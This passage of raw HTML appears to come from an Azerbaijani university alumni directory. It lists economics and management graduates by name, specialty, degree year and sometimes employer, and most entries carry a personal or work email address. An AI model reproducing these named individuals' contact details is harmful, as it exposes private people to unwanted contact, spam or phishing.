href=\"mailto:aynura_alakbarova@hotmail.com\">aynura_alakbarova@hotmail.com</a></p><p><a href=\"mailto:aynura_alakbarova@hotmail.com\"></a>Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Azər Hüseynov</strong></p><p>İqtisadiyyat və Menecment Fakültəsi</p><p>Maliyyə və kredit</p><p>E-mail:&nbsp;<a href=\"mailto:azer_n_994@hotmail.com\">azer_n_994@hotmail.com</a></p><p><a href=\"mailto:azer_n_994@hotmail.com\"></a>Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Afaq Xudaverdiyeva&nbsp;</strong></p><p>İqtisadiyyat və Menecment Fakültəsi</p><p>Maliyyə və kredit</p><p>Central Bank of AR, Risk department</p><p>E-mail:&nbsp;<a href=\"mailto:akhudaverdiyeva@mail.ru\">akhudaverdiyeva@mail.ru</a></p><p><a href=\"mailto:akhudaverdiyeva@mail.ru\"></a>Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Azər Şiriyev&nbsp;</strong></p><p>Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;<br></p><p>Kipir</p><p>Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Aynurə Abbasova&nbsp;</strong></p><p>Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p><p>E-mail:&nbsp;<a href=\"mailto:aynure-abbasova@yahoo.com\">aynure-abbasova@yahoo.com</a></p><p><a href=\"mailto:aynure-abbasova@yahoo.com\"></a>Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Anar Şərifov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:anar.sharifov@hotmail.com\">anar.sharifov@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Azər Həsənov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Aydan Yusifova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Aydin Babayev</strong></p><p>Iqtisadiyyat və&nbsp;Menecment fakultesi.(Beynəlxalq əlaqələr)&nbsp;</p><p>Markets.az Konsaltinq shirketin icraci direktoru</p><p><a href=\"mailto:bbvb93@gmail.com\"></a>Email: &nbsp;<a href=\"mailto:bbvb93@gmail.com\">bbvb93@gmail.com</a></p><p>1996&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Aygün Qurbanova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadi İnkişaf Nazirliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:i.qurbanova@gmail.com\">i.qurbanova@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aysel Cümşüdova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Saipem Asia, Baş mühasib</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:aysel.jumshudova@saipem.eni.it\">aysel.jumshudova@saipem.eni.it</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Aliyə Məmmədova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:aliya_mamedova@yahoo.com\">aliya_mamedova@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Aynurə Rüstəmova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:rustamova79@yahoo.com\">rustamova79@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><strong>Aytən</strong>&nbsp;Abdulova&nbsp;&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Raytheon Technical Services Company LLC/HR Manager</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:<a href=\"mailto:aytan.abdulova@britishcouncil.az\">aytan.abdulova@britishcouncil.az</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aydan&nbsp;Ələkbərova&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">BP,Texniki işçi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:aleka0@bp.com\">aleka0@bp.com</a>&nbsp;,&nbsp;<a href=\"mailto:aydan_alekperova@hotmail.com\">aydan_alekperova@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Aytən Qacarova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Market</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:aytan.qacar@gmail.com\">aytan.qacar@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ayşən Aslanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ayshan82@mail.ru\">ayshan82@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aygün Rəhmanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aygun-rehmanova@mail.ru\">aygun-rehmanova@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynur Yaqublı</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;E-mail:&nbsp;<a href=\"mailto:aynuryagubli@gmail.com\">aynuryagubli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp; (Fərqlənmə)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aysel Quluyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ayselguluyeva@gmail.com\">ayselguluyeva@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:ayselguluyeva@gmail.com\"></a>Bakalavr 2016&nbsp;\r\n(Fərqlənmə)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ayaz Məmmədov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ayaz-mammadov-91@mail.ru\">ayaz-mammadov-91@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Asif İmamverdiyev</strong><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat<strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail: &nbsp;<a href=\"mailto:asifimamverdiyev@gmail.com\">asifimamverdiyev@gmail.com</a><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Aynurə Əliyeva</strong><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Beynəlxalq iqtisadi münasibətlər</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail: &nbsp;<a href=\"mailto:aynuraaliyeva03@gmail.com\">aynuraaliyeva03@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><strong>Abdulla</strong>&nbsp;İsayev&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">PriceWaterhouseCoopers, Auditor</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:<a href=\"mailto:abdullaisayev@hotmail.com\">abdullaisayev@hotmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><a href=\"mailto:abdullaisayev@hotmail.com\"></a>Bakalavr 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"B\">B</h3><br><p><strong>Bəyim Əlizadə <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Menecment,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:alizade@gmail.com\">bami.alizade[at]gmail.com</a>  <a href=\"mailto:alizade@gmail.com\"></a> </p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Salmanov Bəhlul </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Layihənin idarə olunması, 2017</p>\r\n<p>E-mail: <a href=\"mailto:behlul004@gmail.com\">behlul004[at]gmail.com</a> </p>\r\n<p>Azərbaycan Respublikası Standartlaşdırma, Metrologiya və Patent üzrə Dövlət\r\nKomitəsi \"Azərbaycan Metrologiya İnstitutu\" publik hüquqi şəxsin\r\nEtalonlar departamentinin İonlaşdırıcı şüalanma dövlət etalonları\r\nlaboratoriyasının mühəndis metroloqu&nbsp;</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Bəxtiyar Rəşidzadə</strong><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Biznesin təşkili və idarə edilməsi<strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail: &nbsp;<a href=\"mailto:bakhtiyar344@gmail.com\">bakhtiyar344@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Büllur Səmədzadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:Bsamedzade@gmail.com\">Bsamedzade@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bilgeys&nbsp; Alekberli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:bilqeys_alekberli@yahoo.com\">bilqeys_alekberli@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp; (Fərqlənmə)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bəyim Hüseynova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SOCAR , Baş maliyyə mütəxəssisi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:beyimn@gmail.com\">beyimn@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Babək Babayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:babek_babayev@yahoo.com\">babek_babayev@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bahar Fərzullayeva</strong>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və idarəedilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Konservatoriya</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:bahar-87@hotmail.com\">bahar-87@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong></strong></p><h3 id=\"C\"><strong>C</strong></h3><br><p><strong></strong><strong>Cəmil&nbsp;Rzayev&nbsp;</strong></p><p>İqtisadiyyat və Menecment Fakültəsi,&nbsp;Maliyyə və kredit&nbsp;<br></p><p>PriceWaterhouseCoopers, Auditor</p><p>E-mail:&nbsp;<a href=\"mailto:cemil_rza@yahoo.com\">cemil_rza@yahoo.com</a></p><p><a href=\"mailto:cemil_rza@yahoo.com\"></a>Bakalavr 2009  </p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong>Ceyhun Fərzəliyev&nbsp;</strong></p><p>İqtisadiyyat və Menecment Fakültəsi</p><p>Maliyyə və kredit&nbsp;<br></p><p>Azerenerji JSC</p><p>Bakalavr 2009  </p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Cavid Mürsəlov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Murselov.cavid@mail.ru\">Murselov.cavid@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Ceyhun Eyvazlı</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Mühasibat uçotu və audit<strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail: &nbsp;<a href=\"mailto:Ceyhun_m1@mail.ru\">Ceyhun_m1@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Cavad Məhərrəmli</strong><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Mühasibat uçotu və audit<strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail: &nbsp;<a href=\"mailto:cavadmeherremli@gmail.com\">cavadmeherremli@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Cavid Quliyev</strong><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Biznesin təşkili və idarə edilməsi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail: &nbsp;<a href=\"mailto:quliyev.cavid@gmail.com\">quliyev.cavid@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2016</p><p><strong><br></strong></p><p><strong>Çingiz Əlizadə <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:chinqizalizade@mail.ru\">chinqizalizade[at]mail.ru</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"D\"><strong>D</strong></h3><p><strong>Dilarə İsmayılova <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Beynəlxalq iqtisadi münasibətlər, 2017</p>\r\n<p>E-mail: <a href=\"mailto:dilara.ismayil@gmail.com\">dilara.ismayil[at]gmail.com</a> </p>  <p style=\"background:undefined \"><strong><br></strong></p><p style=\"background:undefined \"><strong>Dinara&nbsp;</strong><strong>Şamionova&nbsp;</strong></p><p>İqtisadiyyat və Menecment Fakültəsi</p><p>Biznesin Təşkili və İdarə Edilməsi, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:dinarashamionova@hotmail.com\">dinarashamionova[at]hotmail.com</a></p><p>SOCAR-AQS LLC, Procurement Specialist</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" 